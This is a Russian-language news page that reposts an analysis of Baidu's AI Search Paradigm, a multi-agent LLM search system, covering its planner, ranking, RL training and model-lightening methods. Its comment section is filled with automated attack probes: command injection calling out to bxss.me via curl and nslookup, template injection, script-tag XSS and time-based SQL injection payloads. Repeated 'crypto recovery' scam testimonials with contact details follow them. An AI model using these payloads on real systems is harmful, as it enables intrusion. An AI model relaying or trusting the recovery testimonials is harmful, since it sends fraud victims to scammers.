Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 113374
Market Cap: $ 3 848 995 161 980 / 24h Vol: $ 267 953 757 315 / BTC Dominance: 58.597871184594%

Н Новости

  1. Главная
  2. Новости

Baidu и AI Search Paradigm: мультиагентная структура для интеллектуального поиска информации

Аналитический центр red_mad_robot продолжает разбирать ключевые исследования в сфере интеллектуальных систем и генеративного поиска. На этот раз рассказываем про архитектуру AI Search Paradigm от Baidu — новой системы интеллектуального поиска, построенной на LLM и мультиагентных методах.

b08ee76cde26a75a70040d50b6db6bab.png

В мире избытка информации поиск знаний стал ключевым когнитивным навыком. Сначала его обеспечивали классические системы Information Retrieval (IR), предназначенные для поиска и извлечения релевантной информации из источников данных на основе ключевых слов, но они не учитывали смысл. Это привело к развитию семантического поиска по смыслу и методов Learning-to-Rank (LTR) — в нём алгоритмы улучшают ранжирование за счёт оценивания всего списка в совокупности а не отдельных элементов — они улучшили ранжирование результатов по релевантности, но не давали готовых ответов. С появлением Large Language Model (LLM) стало возможно сразу генерировать ответы на основе запроса и контекста. Однако современные системы вроде Retrieval Augmented Generation (RAG) всё ещё ограничены: они плохо справляются с многошаговыми запросами, противоречиями и не умеют глубоко анализировать и планировать.

Работа AI Search Paradigm. Источник
Работа AI Search Paradigm. Источник

В ответ на текущие вызовы китайский бигтех Baidu — знаменитый одноименным поисковиком, занимающим первое место в Китае и пятое на глобальном рынке — представляет AI Search Paradigm. Это концепция мультиагентного поиска, где несколько специализированных агентов совместно решают задачи. Система динамически подбирает состав агентов для трёх типов запросов: простых, средних и сложных.

  • Master — координирует процесс, анализирует запрос, формирует команду агентов, адаптирует стратегию при ошибках.;

  • Planner — разбивает задачу на подзадачи и подбирает нужные инструменты;

  • Executor — выполняет подзадачи от Planner, используя внешние источники и адаптируясь к результатам;

  • Writer — собирает и оформляет финальный ответ, делая его связным, точным и многогранным.

Task Planner — центральный элемент AI-поиска

Task Planner разбивает сложный запрос на подзадачи, выстраивает их по порядку и подбирает инструменты для решения. В отличие от подхода «нашёл — ответил», он действует активно: планирует, исполняет и при необходимости перепланирует. Классические RAG-системы, включая продвинуты ReAct и RQ-RAG, часто дают неточные ответы и не умеют координировать многошаговые решения. AI Search Paradigm с Task Planner строит граф подзадач DAG, где узлы — подзадачи, а связи — зависимости, подключает нужные сервисы и адаптирует план в процессе. Для этого в связке с планировщиком работают другие инструменты.

Разница между RAG-системами и AI Search Paradigm. Источник
Разница между RAG-системами и AI Search Paradigm. Источник

Model-Context Protocol (MCP) — универсальный HTTP + JSON-RPC интерфейс, позволяющий безопасно публиковать, вызывать и отслеживать инструменты с чёткой типизацией. Ранние LLM-системы с function calling были раздроблены: разные вендоры использовали несовместимые JSON-схемы, что мешало обмену инструментами и учёту затрат и безопасности. AI Search Paradigm решает это через MCP — устраняет фрагментацию и создаёт единое и безопасное пространство инструментов.

Динамическая граница возможностей — решает проблему превышения числа инструментов для пошагового решения задачи. Граница возможностей LLM включает умение рассуждать, внутренние знания и доступ к внешним инструментам. Интеграция инструментов, например, веб-поиска или вычислений, значительно расширяет возможности. В AI Search Paradigm система быстро выбирает релевантное подмножество инструментов под конкретный запрос, учитывая возможности LLM и формирует эффективную границу возможностей для грамотного планирования.

Работа динамической границы возможностей в AI Search Paradigm. Источник
Работа динамической границы возможностей в AI Search Paradigm. Источник

Уточнение документации API методом DRAFT — автоматически улучшает описание документации, которая критическа важна для AI Search Paradigm. Процесс автоматизирован и итеративен, управляется обратной связью и проходит в три этапа, завершаясь в момент достижения нужной точности:

  • Experience Gathering — LLM тестирует инструмент, выявляя пробелы и неточности;

  • Learning from Experience — анализирует несоответствия, формулируя точечные улучшения;

  • Documentation Rewriting — создаётся ясная для LLM документация.

Пайплайн работы DRAFT. Источник
Пайплайн работы DRAFT. Источник

Кластеризация инструментов в MCP — позволяет Task Planner точно понимать функции внешних инструментов. Широкие категории, такие как веб-поиск, мешают выбрать оптимальный API и затрудняют замену при сбоях. AI Search решает это с помощью автоматической кластеризации API по функциональному сходству: LLM генерирует описания API → cоздаются их семантические эмбеддинги → алгоритм k-means++ группирует функции так, чтобы инструменты были максимально похожи по назначению внутри и различались между кластерами.

Извлечение инструментов методом COLT — Collaborative Learning for Tool retrieval — находит связанные по смыслу инструменты через обучение на графах. AI Search использует двубашенную модель: одна башня кодирует запрос, другая — инструменты, сравнивая эмбеддинги для выбора релевантных. COLT дополняет этот процесс, учитывая семантику и функциональные связи между инструментами.

Планирование задач по DAG — Directed Acyclic Graph — помогает AI Search разбирать сложные многошаговые запросы. Каждая вершина графа — подзадача, связанная с инструментом или вычислением Executor, а рёбра отражают зависимости между ними. Task Planner превращает цепочку рассуждений в структурированный JSON-граф по принципу chain-of-thought → structured-sketch. Такой формат экономит токены, позволяет выполнять подзадачи параллельно и при сбоях перепланировать только нужный фрагмент графа без перезапуска всей структуры.

Контроль выполнения под руководством Master — управляет DAG в реальном времени, отслеживая запуск узлов и полноту результатов. При сбоях Master поручает Task Planner перепланировать проблемные участки или добавить подзадачи для восстановления данных. Цикл observe → evaluate → replan → act обеспечивает гибкую реакцию на ошибки и надёжный итоговый результат.

Оптимизация планирования с помощью RL — Reinforcement Learning — обучает Task Planner без ручной разметки, оценивая планы по функции награды с четырьмя компонентами:

  1. точность результата;

  2. реакция пользователя на подзадачи;

  3. соблюдение формата;

  4. исполнимость шагов.

Для оптимизации используется метод Group Relative Policy Optimization (GRPO), в нём награда нормализуется относительно среднего по группе. Такой подход стабилизирует обучение и делает поведение агентов согласованным.

Task Executor — следующий шаг

После составления плана Task Planner, выполнение подзадач берет на себя Executor, в том числе используя веб-поиск для доступа к актуальной информации вне знаний модели.

После этого полученные документы ранжируются с помощью одной из трёх стратегий:

  1. Pointwise — оценивает релевантность каждого документа отдельно;

  2. Pairwise — сравнивает документы попарно;

  3. Listwise — упорядочивает целый список файлов.

    Смена парадигмы у Task Executor. Источник
    Смена парадигмы у Task Executor. Источник

Для сложных запросов AI Search Paradigm комбинирует извлечение и рассуждение LLM, формируя контекст из наиболее релевантных документов и повышая точность итогового ответа.

Выравнивание под предпочтения LLM

Разметка LLM — аннотирует большие объёмы данных, обеспечивая согласованность и снижая влияние человеческих предвзятостей. Система использует listwise-методы ранжирования, например, RankGPT и TourRank, сочетая качество и эффективность.

RankGPT применяет подход sliding window, чтобы ранжировать большие наборы документов, разбивая их на управляемые сегменты без превышения контекстного окна модели.

Схема работы RankGPT. Источник
Схема работы RankGPT. Источник

TourRank, вдохновлённый принципом спортивных турниров, делит документы на группы, отбирает релевантные в несколько раундов и использует систему очков в параллельных «турнирах». Такой подход повышает точность, устойчивость и масштабируемость аннотации.

Пример работы TourRank. Источник
Пример работы TourRank. Источник

Выбор источников — подбирает качественные ссылки под предпочтения LLM. При сложных запросах система извлекает несколько вариантов и передаёт их в модель как контекст для генерации ответа, а затем связывает с источниками, подтверждающими содержание ссылок. Механизм обратной связи уточняет стратегию, исходя из удовлетворённости пользователей, улучшая будущий выбор ссылок для схожих запросов.

Награда за генерацию используется как обратная связь в цикле RL, где извлечение, ранжирование и генерация вместе повышают качество ответов. Ранжировщик применяет разные политики, например, по релевантности или авторитетности, генерирует ответы, сравнивает их с эталоном и получает награду — это позволяет системе адаптивно улучшать стратегии ранжирования.

Схема работы ранжирования и награды за правильную генерацию. Источник
Схема работы ранжирования и награды за правильную генерацию. Источник

Дистилляция ранжирования — переносит логику ранжирования от модели-учителя к модели-ученику. Учитель формирует итоговое ранжирование и пары документов, по которым ученик обучается с помощью функции потерь RankNet. Это позволяет усваивать предпочтения и эффективно использовать их для точного и быстрого ранжирования в реальных условиях.

«Лёгкая система»

AI Search Paradigm использует облегчённую Llama-Tiny, которая формирует векторы запросов, исходя из особенностей пользователя, а документы — с учётом содержания и метаданных. Такой подход объединяет данные разных форматов, включая изображения, в общем векторном пространстве, обеспечивая более точный, интеллектуальный и персонализированный поиск.

Ранжирование тоже стало легче. В PLM-системах, к примеру, BERT и ERNIE, документы кодировались языковой моделью, а внешние признаки — отдельно, что снижало точность. Подход с LLM устраняет это: запрос, заголовок и текст кодируются совместно с внешними признаками, а специализированная модель анализирует весь контекст, включая поведение пользователя, для точной финальной оценки.

Writer — генератор финальных ответов системы

Переносим внимание на работу Writer, от которого зависит качество итогового ответа системы, ведь в документах из поиска нередко встречаются ошибки. Главные требования к Writer можно сформулировать как правило «трёх H» — Helpfulness, Harmlessness, Honesty — полезность, безвредность и честность. Writer использует явную и обратную связь пользователей, например, клики, для надёжности, точного соответствия запросу и совместной работы с другими агентами.

Adversarial Tuning Multi-Agent (ATM) — повышает устойчивость RAG к «шумным» документам. В реальных сценариях такие документы снижают точность ответов. ATM решает эту проблему через мультиагентный тюнинг с элементами состязательного обучения.

Состязательное обучение. Источник
Состязательное обучение. Источник

ATM включает два компонента: Attacker добавляет помехи в извлечённые документы, а Generator учится сохранять корректность ответов несмотря на искажения.

Attacker создаёт шум двумя способами:

  • Fabrication Generation — генерирует правдоподобные, но бесполезные фрагменты, близкие по смыслу к запросу, и вставляет их в выборку;

  • List Permutation — переставляет и дублирует документы, чтобы скрыть важную информацию и проверить чувствительность модели к порядку данных.

Generator должен различать полезные и ложные сигналы, игнорировать шум и поддерживать точность генерации.

Процесс обучения проходит в два этапа:

  • Начальное обучение — Generator осваивает базовые RAG-навыки с помощью Supervised fine-tuning (SFT) — отвечает по оригинальным документам, без документов и при извлечении релевантных источников;

  • Итеративный тюнинг — Attacker и Generator обучаются поочерёдно — первый усиливает шум, второй адаптируется, повышая устойчивость.

Эффективность Attacker оценивается по тому, насколько он осложняет работу Generator. Сам Generator оптимизируется по функции потерь Multi-agent Iterative Tuning Optimization (MITO), которая сочетает SFT для корректности и минимизацию расхождений между ответами на нормальные и зашумлённые документы.

В итоге система достигает высокой устойчивости: Generator сохраняет точность даже при наличии шума и манипуляций, что критически важно для надёжности RAG-систем в реальных условиях.

Preference-Aligned Retrieval-Augmented Generation (PA-RAG) — адаптирует LLM под задачи RAG. Метод помогает модели точнее работать с извлечёнными данными и сохранять устойчивость к шуму.

PA-RAG фокусируется на трёх аспектах:

  • Информативность ответа — эффективно использует релевантные документы и формирует содержательные ответы;

  • Надёжность ответа — сохраняет точность и логику при шумных источниках;

  • Качество цитирования — каждое утверждение связано с соответствующим источником.

Обучение проходит в два этапа:

  • Instruction fine-tuning — развивает базовые RAG-навыки: генерацию вопросов, отбор качественных документов, проверку и переписывание цитат;

  • Оптимизация по предпочтениям — улучшает три аспекта по данным «вход + лучший/худший ответ», обучаясь поочерёдно и независимо для каждого, чтобы избежать деградации качества.

Reinforcement Learning with Human Behaviors (RLHB) — обучает LLM с опорой на реальные паттерны поведения пользователей. В отличие от RLHF и DPO, RLHB не требует трудоёмкой разметки и отражает реальные сценарии онлайн-взаимодействия.

Система включает две модели: генератор создаёт ответы, а дискриминатор оценивает, насколько они соответствуют поведению пользователей. Обучение проходит в соревновательном формате, где сигналом служат реальные пользовательские действия — явные, например, лайки и дизлайки, а также неявные, скажем, просмотры.

Эти сигналы преобразуются в числовое вознаграждение через reward shaping. Дискриминатор определяет, насколько пара «запрос–ответ» отражает реальное поведение, а политика генератора оптимизируется по совокупному сигналу — оценке дискриминатора и штрафу за отклонение от исходной политики, рассчитанной по методу KL-дивергенции.

Multi-Module Joint Optimization for RAG (MMOA-RAG) — совместная оптимизация нескольких агентов — рассматривает систему как задачу многоагентного обучения с подкреплением. Алгоритм Multi-Agent PPO (MAPPO) согласует цели трёх ключевых модулей: Task Planner — формулирует запрос, Executor — отбирает релевантные документы, Writer — генерирует финальный ответ. Все они работают на общей архитектуре LLM для повышения эффективности.

Работа MMOA-RAG. Источник
Работа MMOA-RAG. Источник

Оптимизация основана на общей функции награды, направляющей агентов к единой цели — высокому качеству ответа. Вводятся штрафы за неэффективные действия: Planner — за избыточные подзадачи, Executor — за нерелевантные документы, Writer — за слишком длинные или неинформативные ответы. Такой подход обеспечивает координацию и синергию между агентами, улучшая итоговое качество генерации. Дополнительно используется SFT, чтобы агенты точнее следовали инструкциям и сокращали объём исследований в MARL.

Light-Weighting Generation — два уровня оптимизации

Поисковые AI-системы вроде Perplexity обслуживают миллионы пользователей и работают на LLM с архитектурой Transformer. Однако рост размера моделей и квадратичная сложность по длине ввода делают их вычислительно дорогими и увеличивают задержки инференции. Чтобы снизить издержки и ускорить работу, Baidu применяет двухуровневую оптимизацию LLM — алгоритмическую, направленную на облегчение моделей, и инфраструктурную, обеспечивающую быстрое и эффективное исполнение.

Облегчённая генерация LLM. Источник
Облегчённая генерация LLM. Источник

Algorithmic-Level Lightweighting

Локальное внимание — уменьшает вычислительную сложность механизма внимания, ограничивая диапазон обрабатываемых токенов. Полный контекст требуется не всегда, поэтому локальное внимание может заменить его без заметных потерь качества и внедряться как в уже обученные модели, так и на этапе инференса.

К таким методам относятся linear attention (MiniMax), RWKV и Mamba. Более продвинутые решения, например LightTransfer, избирательно заменяют полное внимание более эффективными механизмами, а Liger переиспользует веса модели, создавая «врата» для линейного по времени инференса. Все эти подходы используют оптимизированные библиотеки вроде FlashAttention, что делает их практически применимыми и вычислительно эффективными.

Прунинг модели — удаляет из весовых матриц избыточные параметры, снижая объём данных и вычислительную нагрузку при инференсе.

Различают три типа прунинга:

  • Неструктурный — удаляет отдельные веса, делая модель разреженной; экономит память, но требует специализированных библиотек и оборудования;

  • Структурный — убирает целые блоки, формируя компактную плотную модель, пригодную для стандартного «железа». Среди современных подходов — Layer Collapse (LaCo), который удаляет слои, сохраняя функцию модели, и SlimGPT, быстро определяющий, какие блоки можно безопасно исключить;

  • Полуструктурный — отбрасывает группы параметров, упорядоченные особым образом, что сохраняет совместимость с обычными ускорителями. Здесь выделяется Post-Training Pruning (PTP), оценивающий не только веса, но и активации, чтобы удалить наименее значимые параметры.

Infrastructure-Level Lightweighting

Сокращение длины вывода — решает проблему несоответствия между краткими запросами и длинными ответами LLM, что снижает затраты на инференс. Существуют три основных подхода:

  • На основе промптов — LLM сама оценивает лимит токенов для кратких ответов — например, TALE-EP задаёт бюджет токенов прямо в промпте, чтобы ответы оставались точными, но короткими, а Chain-of-Draft сокращает рассуждения, формируя черновики для каждого шага;

  • На этапе обучения — корректируется фаза обучения модели — Demystifying вводит функцию вознаграждения со штрафом за превышение длины, а DAST и Kimi включают аналогичные ограничения, контролируя размер цепочек рассуждений;

  • На уровне промежуточных состояний — сжимаются данные, создаваемые во время инференса — Coconut рассматривает скрытые состояния последнего слоя как «непрерывную мысль», заменяя дискретные токены, а CODI применяет самодистилляцию, чтобы формировать внутренние рассуждения без явной генерации текста.

Семантическое кэширование — снижает затраты на инференс, извлекая готовые ответы из кэша по семантическому сходству запросов. Например, MeanCache вычисляет вектор эмбеддинга запроса, сравнивает его с эмбеддингами в кэше и, если находит совпадение по смыслу и контексту, возвращает сохранённый ответ. Если совпадений нет — запрос передаётся LLM, а новый результат сохраняется в кэше. Для обеспечения конфиденциальности MeanCache применяет федеративное обучение при тренировке компактной эмбеддинг-модели и использует Principal Component Analysis (PCA) для уменьшения размера векторных представлений.

Квантизация — снижает числовую точность весов модели и активаций, например, с 32-битных чисел до 8-битных или ниже, что уменьшает объем памяти, требования к пропускной способности и ускоряет вычисления на аппаратуре низкой точности. Квантизация делится на два типа:

  • Weight-only Quantization — ZeroQuant-V2 использует 8-битные веса с 16-битными активациями для сохранения производительности, GLM-130B демонстрирует успешную 4-битную квантизацию, SqueezeLLM использует k-means кластеризацию для квантизации;

  • Weight+Activation Quantization — RPTQ кластеризует и переупорядочивает размерности активаций, Outlier Suppression+ добавляет факторы смещения, OmniQuant обучается оптимальным диапазонам отсечения.

Раздельное развёртывание этапов Prefill и Decode — повышает эффективность инференса.

  • Prefill обрабатывает входной промпт, это этап compute-bound — модель одновременно анализирует весь текст и активно использует вычислительные ресурсы;

  • Decode генерирует токены последовательно, по одному за раз, опираясь на предыдущие, это фаза memory-bound — требует высокой пропускной способности памяти, так как каждый новый токен обращается к уже сгенерированным данным.

Из-за различий в нагрузке зрелые фреймворки инференса раздельно управляют этими этапами. Например, Mooncake и DeepSeek-R1 динамически распределяют ресурсы между prefill и decode в зависимости от текущей нагрузки, что повышает пропускную способность и оптимизирует использование вычислительных мощностей.

Спекулятивное декодирование — ускоряет инференс за счет параллельной обработки и делится на стратегии генерации и уточнения.

Спекулятивное декодирование ускоряет инференс за счёт параллельной обработки и делится на две стратегии — генерации и уточнения.

Стратегии генерации включают:

  • подходы с заранее заданными токенами заполнения,

  • методы на основе извлечения (REST),

  • N-граммные техники (ANPD)

Стратегии уточнения основаны на проверке и доработке предварительно сгенерированных ответов:

  • одношаговая верификация (Fast Inference);

  • древовидная верификация (SpecInfer, Sequoia) — строит дерево возможных завершений для параллельной проверки;

  • итеративное декодирование (Jacobi) — выполняет несколько циклов уточнения, постепенно улучшая результат.

Экспериментальные результаты

Для оценки эффективности AI-системы провели попарное сравнение с участием аннотаторов. Они в случайном порядке получали пары ответов от AI-системы и традиционного поиска, чтобы выбрать лучший вариант, либо указать на равенство. Результаты оценивались по метрике Normalized Win Rate (NWR), учитывающей количество побед, поражений и ничьих AI-системы. Сравнение проводилось на трёх уровнях сложности:

  • Простые запросы — паритет с традиционным поиском;

  • Умеренно сложные — улучшение на 5%;

  • Сложные — улучшение на 13%.

AI-поиск протестировали в поисковике Baidu через A/B-тест на 1% трафика, сравнив с традиционной системой по метрикам вовлеченности. Результаты AI-поиска:

  • Снижение изменения запросов (CQR) на 1.45%

  • Рост просмотров страниц (PV) на 1.04%

  • Увеличение ежедневных активных пользователей (DAU) на 1.85%

  • Рост времени удержания (Dwell Time) на 0.52%

Кроме того, были рассмотрены два кейса сравнения AI-поиска и традиционного: простой и сложный запрос. При простом вопросе: «Какова высота горы Тай?», обе системы быстро дали верный ответ — 1545 метров. Однако при сложном запросе: «Кто старше — Хань Уди или Цезарь, и на сколько лет?», традиционный поиск не справился. AI-система, используя архитектуру с Task Planner, Executor и Writer, разбила задачу на шаги, нашла нужные данные, произвела вычисления и выдала полный ответ. Таким образом, AI-система значительно эффективнее при решении сложных задач, требующих логики и многошаговой обработки.

Над материалом работали

Текст — Валера Горланов
Редактура — Игорь Решетников
Иллюстрации — Петя Галицкий

Это блог red_mad_robot. Мы запускаем цифровые бизнесы и помогаем компаниям внедрять AI. Здесь наша команда разработки на собственных кейсах рассказывает о том, что происходит с AI сегодня, а стратегические аналитики подсказывают, что будет завтра. Мы бы подписались.

Наш Telegram-канал (там всё другое, а ещё есть анонсы мероприятий): t.me/redmadnews

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:08 pHqghUme

    ;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)

  • 09.10.25 08:08 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)

  • 09.10.25 08:09 pHqghUme

    &(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

